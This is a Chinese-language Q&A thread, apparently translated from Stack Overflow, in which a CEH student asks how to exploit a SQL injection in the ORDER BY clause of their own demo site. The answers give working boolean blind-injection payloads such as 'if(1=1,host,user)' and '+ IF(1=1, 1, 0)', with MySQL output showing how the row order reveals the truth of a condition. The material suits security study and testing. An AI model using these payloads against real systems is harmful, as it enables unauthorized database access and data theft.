0

我发现一个我的演示网站容易受到 SQL INJECTION 的攻击(我目前正在做 CEH)

发现的注入点如下:

SELECT column_1,column_2,column_3 from table_1 where column_4='3' order by id [*INJECTION POINT FOUND HERE*]

现在我需要制作一些可以帮助我利用我发现的注入点的东西。据我所知 UNION SELECT 之后不会工作ORDER BY。但是,我确实认为盲目的 sql 注入可能会起作用,如下图所示

SELECT column_1,column_2,column_3 from table_1 where column_4='3' order by id [if 1=1 then 1,blank]

现在,如果 1 在注入点发布,则查询会出错,而如果将其保留为空白,则查询将执行……因此,盲注 sql 注入将起作用

有人可以帮我用IF THEN ELSEin制作一个查询,SQL因为我不知道如何IF THEN ELSE在 sql 中使用 ..

尝试注入此但不工作

(IF (1=2) 然后 1 endif)

完成查询

SELECT  column_1, column_2, column_3  from `table_1`  WHERE   `column_4` = '[*available injection point*]'  order by id [*available injection point*] ASC  limit [*available injection point*],[*available injection point*]
4

2 回答 2

0

如果id在结果集中不是唯一的并且有另一列的值是唯一的 per id,您可以执行以下操作:

  1. 标识每个 ID 值的唯一顺序, unique_per_id(必须与 only 不同,必要时id使用descon )。id
  2. 可以使用基于布尔值的盲注, IF(1=1,unique_per_id,id)

例子:

mysql> select host,user from mysql.user order by user;
+-----------+------------------+
| host      | user             |
+-----------+------------------+
| localhost | root             |
| 127.0.0.1 | root             |
+-----------+------------------+
2 rows in set (0.00 sec)

mysql> select host,user from mysql.user order by user,host;
+-----------+------------------+
| host      | user             |
+-----------+------------------+
| 127.0.0.1 | root             |
| localhost | root             |
+-----------+------------------+
2 rows in set (0.00 sec)

mysql> select host,user from mysql.user order by user,if(1=1,host,user);
+-----------+------------------+
| host      | user             |
+-----------+------------------+
| 127.0.0.1 | root             |
| localhost | root             |
+-----------+------------------+
2 rows in set (0.00 sec)

mysql> select host,user from mysql.user order by user,if(1=0,host,user);
+-----------+------------------+
| host      | user             |
+-----------+------------------+
| localhost | root             |
| 127.0.0.1 | root             |
+-----------+------------------+
2 rows in set (0.00 sec)

因此,只要结果集的顺序if(expr,host,user)与仅host(第二个查询)的顺序相同,则条件expr为真。

于 2013-06-22T18:15:28.270 回答
-1

你可以注入:

+ IF(1=1, 1, 0)

结果查询将是:

SELECT column_1,column_2,column_3
from table_1 
where column_4='3'
order by id + IF(1=1, 1, 0)
于 2013-06-22T17:45:40.043 回答